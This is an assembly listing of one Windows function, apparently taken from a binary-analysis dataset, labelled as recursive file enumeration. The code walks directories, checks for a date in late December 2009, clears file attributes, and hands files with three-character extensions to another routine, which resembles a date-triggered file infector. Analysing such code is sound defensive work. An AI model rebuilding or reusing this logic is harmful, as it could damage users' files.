Function at 0x4045a8
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x4f
push 0
push 0
dec ecx
jne 0x4045b0
push ecx
mov byte [ebp - 2], dl
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x404924
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x254]
push eax
push 0xff
call sub.kernel32.dll_GetCurrentDirectoryA_1
lea eax, [ebp - 0x258]
lea edx, [ebp - 0x254]
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov eax, dword [ebp - 0x258]
push eax
lea eax, [ebp - 0x25c]
mov edx, 0x408764
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov eax, dword [ebp - 0x25c]
pop edx
call fcn.004037b0
test eax, eax
jne 0x4048f9
lea eax, [ebp - 0x154]
push eax
push 0x404930
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
call fcn.00403344
test byte [ebp - 0x154], 0x10
jne 0x40484b
cmp byte [ebp - 1], 0
jne 0x404659
push 1
call sub.kernel32.dll_Sleep
mov eax, 0x4104ac
lea edx, [ebp - 0x254]
mov ecx, pe_nt_image_headers32
call fcn.004034b0
mov eax, dword [0x4104ac]
call fcn.004034c8
mov edx, dword [0x4104ac]
cmp byte [edx + eax - 1], 0x5c
je 0x404694
mov eax, 0x4104ac
mov edx, 0x40493c
call fcn.004034d0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov edx, dword [ebp - 0x260]
mov eax, 0x4104ac
call fcn.004034d0
call fcn.00404578
cmp word [0x4104c0], 0x7d9
jne 0x4046e6
cmp word [0x4104be], 0xc
jne 0x40476b
cmp word [0x4104bc], 0x1c
jbe 0x40476b
cmp byte [ebp - 2], 0
jne 0x40476b
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov word [ebp - 0xa], ax
xor eax, eax
push ebp
push 0x404755
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
mov eax, dword [0x4104ac]
call fcn.004036c8
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0x1000
push 0x4104d8
mov eax, dword [0x4104ac]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x4104d4], eax
mov eax, dword [0x4104d4]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40475c
ret
lea eax, [ebp - 0x264]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x264]
lea edx, [ebp - 0x14]
call fcn.00403f24
mov eax, dword [ebp - 0x14]
call fcn.004034c8
cmp eax, 3
jne 0x4048be
lea edx, [ebp - 0x268]
mov eax, 0x404948
call fcn.00403fdc
mov edx, dword [ebp - 0x268]
mov eax, dword [ebp - 0x14]
call fcn.004037b0
test eax, eax
jle 0x4048be
lea eax, [ebp - 0x26c]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x26c]
push eax
lea edx, [ebp - 0x270]
xor eax, eax
call fcn.004027f8
mov edx, dword [ebp - 0x270]
pop eax
call fcn.00403614
je 0x4048be
lea eax, [ebp - 0x274]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x274]
mov edx, dword [ebp - 0x10]
call fcn.00403614
je 0x4048be
mov al, byte [0x4104c8]
or al, byte [0x4104c9]
je 0x4048be
xor edx, edx
mov eax, dword [0x4104ac]
call fcn.004041e0
jmp 0x4048be
lea eax, [ebp - 0x278]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x278]
mov edx, 0x404964
call fcn.00403614
je 0x4048be
lea eax, [ebp - 0x27c]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
mov eax, dword [ebp - 0x27c]
mov edx, 0x404970
call fcn.00403614
je 0x4048be
lea eax, [ebp - 0x128]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
mov dl, byte [ebp - 2]
mov al, byte [ebp - 1]
call fcn.004045a8
lea eax, [ebp - 0x254]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA_1
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x128]
mov ecx, 0x104
call fcn.004034b0
push 1
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x154]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40463f
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40492b
lea eax, [ebp - 0x27c]
mov edx, 0xa
call fcn.00403368
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403368
ret